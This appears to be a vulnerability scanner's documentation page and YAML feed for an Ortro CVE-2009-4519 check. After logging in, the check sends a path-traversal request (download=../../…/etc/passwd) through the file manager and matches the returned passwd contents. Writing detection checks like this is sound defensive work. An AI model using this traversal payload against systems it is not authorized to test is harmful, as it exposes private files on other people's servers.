Ortro — 1 vulnerability check
noctis ships 1 vulnerability check for Ortro, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Ortro < 1.3.4 file manager path traversal and outdated version
| CVE | CVE-2009-4519 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/ortro/CVE-2009-4519.yaml |
Ortro (PHP job scheduler / system monitoring web UI) before 1.3.4 has "multiple unspecified vulnerabilities" (CVE-2009-4519, CVSS v2 10.0). Fixed in 1.3.4.
The feed finds Ortro at `/`, `/ortro` or `/ortro/www` (index.php with "Powered by", "Ortro" and `img/ortro-logo.png`) and reads the version from the footer (`Powered by <a ...>Ortro</a> - v1.3.3`, printed on the login page too).
Diffing the upstream ortro-core 1.3.3 and 1.3.4 sources shows what 1.3.4 fixed. Every fix sits behind the login (index.php only reaches it after `$auth->isAuthorized()`), the most concrete one being a path traversal in the file manager download: 1.3.3 runs `httpDownload($_REQUEST['download'], ...)` unfiltered, 1.3.4 adds `is_file($f) && strpos($f, '..') === false`. Any logged-in user (no admin role) can read files. So:
- With credentials on the scan request (username + password), the feed logs in and reads /etc/passwd through `?cat=filemanager&download=../../…/etc/passwd` (read-only, QoD 75). This proves the bug whatever the footer says (hidden or back-ported versions). - Without credentials no request distinguishes 1.3.3 from 1.3.4, so the feed reports a footer version below 1.3.4 (QoD 70), the only method available without a login.
How noctis detects it
- HTTP(S) request
GET {{d}}/index.php - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{ortro.dir}}/index.phpwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ortro.dir}}/index.php?cat=filemanager&id_system=&download=../../../../../../../../.… - Checks
dl.bodyforroot:[^:\r\n]*:0:0:→ finding QoD 75: Ortro at …/index.php (footer version …): an authenticated file manager download with download=../../…/etc/passwd returned /etc/passwd (path… - Checks
ortro.versionfor^[0-9]→ finding QoD 70: Ortro at …/index.php footer advertises v…, below the fixed release 1.3.4 (CVE-2009-4519; the fixes sit behind the login, so the version is …
References:
Feed source — tests/vulnerabilities/ortro/CVE-2009-4519.yaml
uid: 5452fb2f-9efa-4491-8718-ec6d612c6c6e
name: "Ortro < 1.3.4 file manager path traversal and outdated version (CVE-2009-4519)"
description: |
Ortro (PHP job scheduler / system monitoring web UI) before 1.3.4 has "multiple
unspecified vulnerabilities" (CVE-2009-4519, CVSS v2 10.0). Fixed in 1.3.4.
The feed finds Ortro at `/`, `/ortro` or `/ortro/www` (index.php with "Powered by",
"Ortro" and `img/ortro-logo.png`) and reads the version from the footer
(`Powered by <a ...>Ortro</a> - v1.3.3`, printed on the login page too).
Diffing the upstream ortro-core 1.3.3 and 1.3.4 sources shows what 1.3.4 fixed.
Every fix sits behind the login (index.php only reaches it after
`$auth->isAuthorized()`), the most concrete one being a path traversal in the file
manager download: 1.3.3 runs `httpDownload($_REQUEST['download'], ...)` unfiltered,
1.3.4 adds `is_file($f) && strpos($f, '..') === false`. Any logged-in user (no admin
role) can read files. So:
- With credentials on the scan request (username + password), the feed logs in and
reads /etc/passwd through `?cat=filemanager&download=../../…/etc/passwd`
(read-only, QoD 75). This proves the bug whatever the footer says (hidden or
back-ported versions).
- Without credentials no request distinguishes 1.3.3 from 1.3.4, so the feed reports
a footer version below 1.3.4 (QoD 70), the only method available without a login.
cves: [CVE-2009-4519]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: file-read
tags: [ortro, path-traversal, file-read, authenticated, version-check, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4519"
- "https://sourceforge.net/projects/ortro/files/"
- "OpenVAS NASL 2010/gb_ortro_mult_vuln_jan10.nasl (GPL-2.0-only)"
steps:
# Pre-initialise everything a later script or condition reads, so a failed request
# never leaves an undefined variable (that would abort the test).
- id: init_found
action: set_var
var_name: ortro
var_value: {found: false, dir: "", version: "", vulnerable: false}
# ── 1. Find Ortro in the NASL's directories and read the footer version ─────────────
- id: init_page
action: set_var
loop:
over: ["", "/ortro", "/ortro/www"]
var: d
var_name: page
var_value: {status: 0, body: "", headers: {}}
- id: index
action: http_request
method: GET
path: "{{d}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "ortro.found == false"
store_as: page
# Footer: `Powered by <a href="http://www.ortro.net/" ...>Ortro</a> - v1.3.3`. Versions
# may carry a suffix (1.3.2a, 1.2.0rc2); compare major.minor.patch with 1.3.4 and treat a
# suffix on 1.3.4 itself as fixed.
- id: parse
action: script
store_as: ortro
code: |
if ortro.found { return ortro; }
let body = if type_of(page.body) == "string" { page.body } else { "" };
if page.status != 200 || !body.contains("Powered by") || !body.contains("img/ortro-logo.png") {
return ortro;
}
let m = eregmatch("Ortro</a>\\s*-\\s*v([0-9]+(\\.[0-9]+)*[a-z0-9]*)", body);
if m.len() < 2 { return ortro; }
let nums = eregmatch("^([0-9]+)(\\.([0-9]+))?(\\.([0-9]+))?", m[1]);
let parts = [int(nums[1]), 0, 0];
if nums.len() > 3 && type_of(nums[3]) == "string" && nums[3] != "" { parts[1] = int(nums[3]); }
if nums.len() > 5 && type_of(nums[5]) == "string" && nums[5] != "" { parts[2] = int(nums[5]); }
let fixed = [1, 3, 4];
let vuln = false;
let decided = false;
for i in 0..3 {
if !decided {
if parts[i] < fixed[i] { vuln = true; decided = true; }
else if parts[i] > fixed[i] { decided = true; }
}
}
#{ found: true, dir: d, version: m[1], vulnerable: vuln }
# ── 2. Optional authenticated proof: file manager path traversal (fixed in 1.3.4) ───
# A one-shot `loop:` ends the directory loop group above (the runner groups a loop step
# with every following non-loop step), so this part runs once, after the search.
- id: init_login
action: set_var
loop:
count: 1
var: once
var_name: login_body
var_value: ""
- id: init_cookie
action: set_var
var_name: session_cookie
var_value: ""
- id: init_login_resp
action: set_var
var_name: login
var_value: {status: 0, body: "", headers: {}}
- id: init_dl
action: set_var
var_name: dl
var_value: {status: 0, body: "", headers: {}}
# Form body, RFC 3986 percent-encoded so any character in the credentials survives
# (the same encoding the engine redacts from findings and logs).
- id: login_body
action: script
condition: "ortro.found && cred_enabled"
store_as: login_body
code: |
if !is_def_var("cred_username") || !is_def_var("cred_password") { return ""; }
fn enc(s) {
let out = "";
for c in s.chars() {
let ch = `${c}`;
if ereg("^[A-Za-z0-9._~-]$", ch) { out += ch; }
else {
let h = toupper(hexstr(ch));
let i = 0;
while i < h.len() { out += "%" + h.sub_string(i, 2); i += 2; }
}
}
out
}
"username=" + enc(cred_username) + "&password=" + enc(cred_password) + "&btnSubmit=Login"
# login.php: PEAR Auth login, then `header('location:?mode=view')`. The PHP session
# cookie is issued by session_start() on this same request.
- id: login
action: http_request
method: POST
path: "{{ortro.dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "login_body != \"\""
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "{{login_body}}"
store_as: login
- id: cookie
action: script
condition: "login_body != \"\""
store_as: session_cookie
code: |
let sc = if "set-cookie" in login.headers { login.headers["set-cookie"] } else { "" };
if type_of(sc) != "string" { sc = ""; }
let m = eregmatch("^\\s*([^=;\\s]+=[^;\\s]+)", sc);
if m.len() >= 2 { m[1] } else { "" }
# httpDownload() of ORTRO_INCOMING/<id_system>//<download>. readfile() collapses `..`
# lexically, but httpDownload() first calls filesize(), which needs data/incoming to
# exist (created on the first file manager upload). Without it, mod_php may send an empty
# body: a miss, never a false positive — the version check below then still reports.
- id: download
action: http_request
method: GET
path: "{{ortro.dir}}/index.php?cat=filemanager&id_system=&download=../../../../../../../../../../../../etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "session_cookie != \"\""
headers:
Cookie: "{{session_cookie}}"
store_as: dl
- id: traversal
action: match
source: dl.body
pattern: "root:[^:\\r\\n]*:0:0:"
condition: "session_cookie != \"\" && dl.status == 200"
on_match:
stop: true
finding:
confidence_delta: 0.55
qod: 75
evidence: "Ortro at {{ortro.dir}}/index.php (footer version {{ortro.version}}): an authenticated file manager download with download=../../…/etc/passwd returned /etc/passwd (path traversal fixed in 1.3.4)."
# ── 3. Fallback: the NASL's version check (no request tells 1.3.3 from 1.3.4 without a
# login). It also runs when a login succeeded but the traversal came back empty, since
# that does not prove the host is fixed (see the filesize() note above).
- id: vulnerable_version
action: match
source: ortro.version
pattern: "^[0-9]"
condition: "ortro.vulnerable == true"
on_match:
stop: true
finding:
confidence_delta: 0.40
qod: 70
evidence: "Ortro at {{ortro.dir}}/index.php footer advertises v{{ortro.version}}, below the fixed release 1.3.4 (CVE-2009-4519; the fixes sit behind the login, so the version is the only unauthenticated signal)."